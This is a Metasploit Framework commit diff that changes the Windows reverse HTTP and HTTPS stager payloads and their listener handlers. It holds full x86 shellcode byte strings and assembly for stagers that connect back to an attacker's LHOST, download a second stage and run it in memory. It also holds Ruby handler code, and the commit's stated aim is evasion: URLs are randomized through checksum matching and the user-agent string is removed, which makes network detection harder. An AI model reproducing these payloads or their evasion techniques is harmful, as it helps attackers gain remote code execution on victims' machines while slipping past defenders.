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metasploit-framework
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Tested fairly well - this randomizes the URLs and removes the user-agent string from the request

HD Moore 2012-03-02 17:44:23 -06:00
parent ce94ffd755
commit b70b41091b
9 changed files with 177 additions and 66 deletions
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4
external/source/shellcode/windows/x86/src/block/block_reverse_http.asm vendored
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@ -12,7 +12,6 @@
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
mov esi, esp ; Save a pointer to wininet
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
@ -23,7 +22,8 @@ internetopen:
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push esi ; LPCTSTR lpszAgent ("wininet\x00")
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp

4
external/source/shellcode/windows/x86/src/block/block_reverse_https.asm vendored
View File

@ -12,7 +12,6 @@
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
mov esi, esp ; Save a pointer to wininet
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
@ -23,7 +22,8 @@ internetopen:
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push esi ; LPCTSTR lpszAgent ("wininet\x00")
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp

56
lib/msf/core/handler/reverse_http.rb
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@ -29,6 +29,49 @@ module ReverseHttp
"tunnel"
end
#
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92
URI_CHECKSUM_INITJ = 88
URI_CHECKSUM_CONN = 98
#
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
def process_uri_resource(uri_match)
# This allows 'random' strings to be used as markers for
# the INIT and CONN request types, based on a checksum
uri_strip, uri_conn = uri_match.split('_', 2)
uri_strip.sub!(/^\//, '')
uri_check = Rex::Text.checksum8(uri_strip)
# Match specific checksums and map them to static URIs
case uri_check
when URI_CHECKSUM_INITW
uri_match = "/INITM"
when URI_CHECKSUM_INITJ
uri_match = "/INITJM"
when URI_CHECKSUM_CONN
uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
end
uri_match
end
#
# Create a URI that matches a given checksum
#
def generate_uri_checksum(sum)
0.upto(1000) do
uri = Rex::Text.rand_text_alphanumeric(4)
return uri if Rex::Text.checksum8(uri) == sum
end
raise RuntimeError, "Unable to generate a string with checksum #{sum}"
end
#
# Initializes the HTTP SSL tunneling handler.
#
@ -139,13 +182,15 @@ protected
end
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
uri_match = process_uri_resource(req.relative_resource)
# Process the requested resource.
case req.relative_resource
case uri_match
when /^\/INITJM/
print_line("Java: #{req.relative_resource}")
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = "http://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
print_line "URL: #{url.inspect}"
@ -192,7 +237,7 @@ protected
end
print_status("Patched transport at offset #{i}...")
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = "http://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
@ -248,7 +293,7 @@ protected
})
end
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
resp.code = 200
resp.message = "OK"
resp.body = "<h3>No site configured at this address</h3>"
@ -265,4 +310,3 @@ end
end
end

56
lib/msf/core/handler/reverse_https.rb
View File

@ -29,6 +29,50 @@ module ReverseHttps
"tunnel"
end
#
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW = 92
URI_CHECKSUM_INITJ = 88
URI_CHECKSUM_CONN = 98
#
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
def process_uri_resource(uri_match)
# This allows 'random' strings to be used as markers for
# the INIT and CONN request types, based on a checksum
uri_strip, uri_conn = uri_match.split('_', 2)
uri_strip.sub!(/^\//, '')
uri_check = Rex::Text.checksum8(uri_strip)
# Match specific checksums and map them to static URIs
case uri_check
when URI_CHECKSUM_INITW
uri_match = "/INITM"
when URI_CHECKSUM_INITJ
uri_match = "/INITJM"
when URI_CHECKSUM_CONN
uri_match = "/CONN_" + ( uri_conn || Rex::Text.rand_text_alphanumeric(16) )
end
uri_match
end
#
# Create a URI that matches a given checksum
#
def generate_uri_checksum(sum)
0.upto(1000) do
uri = Rex::Text.rand_text_alphanumeric(4)
return uri if Rex::Text.checksum8(uri) == sum
end
raise RuntimeError, "Unable to generate a string with checksum #{sum}"
end
#
# Initializes the HTTP SSL tunneling handler.
#
@ -137,16 +181,18 @@ protected
lhost = datastore['LHOST']
# Default to our own IP if the user specified 0.0.0.0 (pebkac avoidance)
if lhost.empty? or lhost == '0.0.0.0'or lhost == '::'
if lhost.empty? or lhost == '0.0.0.0' or lhost == '::'
lhost = Rex::Socket.source_address(cli.peerhost)
end
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
uri_match = process_uri_resource(req.relative_resource)
# Process the requested resource.
case req.relative_resource
case uri_match
when /^\/INITJM/
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
#$stdout.puts "URL: #{url.inspect}"
@ -192,7 +238,7 @@ protected
end
print_status("Patched transport at offset #{i}...")
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = "https://#{lhost}:#{datastore['LPORT']}/" + conn_id + "/\x00"
@ -246,7 +292,7 @@ protected
})
end
else
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...")
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
resp.code = 200
resp.message = "OK"
resp.body = "<h3>No site configured at this address</h3>"

20
lib/rex/text.rb
View File

@ -1214,6 +1214,26 @@ protected
@@codepage_map_cache = map
end
def self.checksum8(str)
str.unpack("C*").inject(:+) % 0x100
end
def self.checksum16_le(str)
str.unpack("v*").inject(:+) % 0x10000
end
def self.checksum16_be(str)
str.unpack("n*").inject(:+) % 0x10000
end
def self.checksum32_le(str)
str.unpack("V*").inject(:+) % 0x100000000
end
def self.checksum32_be(str)
str.unpack("N*").inject(:+) % 0x100000000
end
end
end

46
modules/payloads/stagers/windows/reverse_http.rb
View File

@ -38,28 +38,28 @@ module Metasploit3
# 'EXITFUNC' => [ 290, 'V' ],
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
}
))
end
@ -77,7 +77,7 @@ module Metasploit3
def generate
p = super
i = p.index("/12345\x00")
u = "/INITM\x00"
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
p + datastore['LHOST'].to_s + "\x00"
end

6
modules/payloads/stagers/windows/reverse_https.rb
View File

@ -48,8 +48,8 @@ module Metasploit3
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" +
"\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
@ -79,7 +79,7 @@ module Metasploit3
def generate
p = super
i = p.index("/12345\x00")
u = "/INITM\x00"
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
p + datastore['LHOST'].to_s + "\x00"
end

45
modules/payloads/stagers/windows/reverse_ipv6_http.rb
View File

@ -39,27 +39,27 @@ module Metasploit3
'LPORT' => [ 190, 'v' ], # Not a typo, really little endian
},
'Payload' =>
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
"\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
"\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
"\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
"\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
"\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
"\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
"\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
"\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
}
))
end
@ -77,7 +77,7 @@ module Metasploit3
def generate
p = super
i = p.index("/12345\x00")
u = "/INITM\x00"
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000"
@ -94,5 +94,6 @@ module Metasploit3
def wfs_delay
20
end
end

6
modules/payloads/stagers/windows/reverse_ipv6_https.rb
View File

@ -48,8 +48,8 @@ module Metasploit3
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x89\xE6\x54\x68\x4C\x77" +
"\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56\x68\x3A\x56\x79\xA7" +
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
"\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
"\xFF\xD5\xEB\x5F\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
"\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x48\x59\x31\xD2" +
"\x52\x68\x00\x32\xA0\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
@ -79,7 +79,7 @@ module Metasploit3
def generate
p = super
i = p.index("/12345\x00")
u = "/INITM\x00"
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
p[i, u.length] = u
lhost = datastore['LHOST'] || "0000:0000:0000:0000:0000:0000:0000:0000"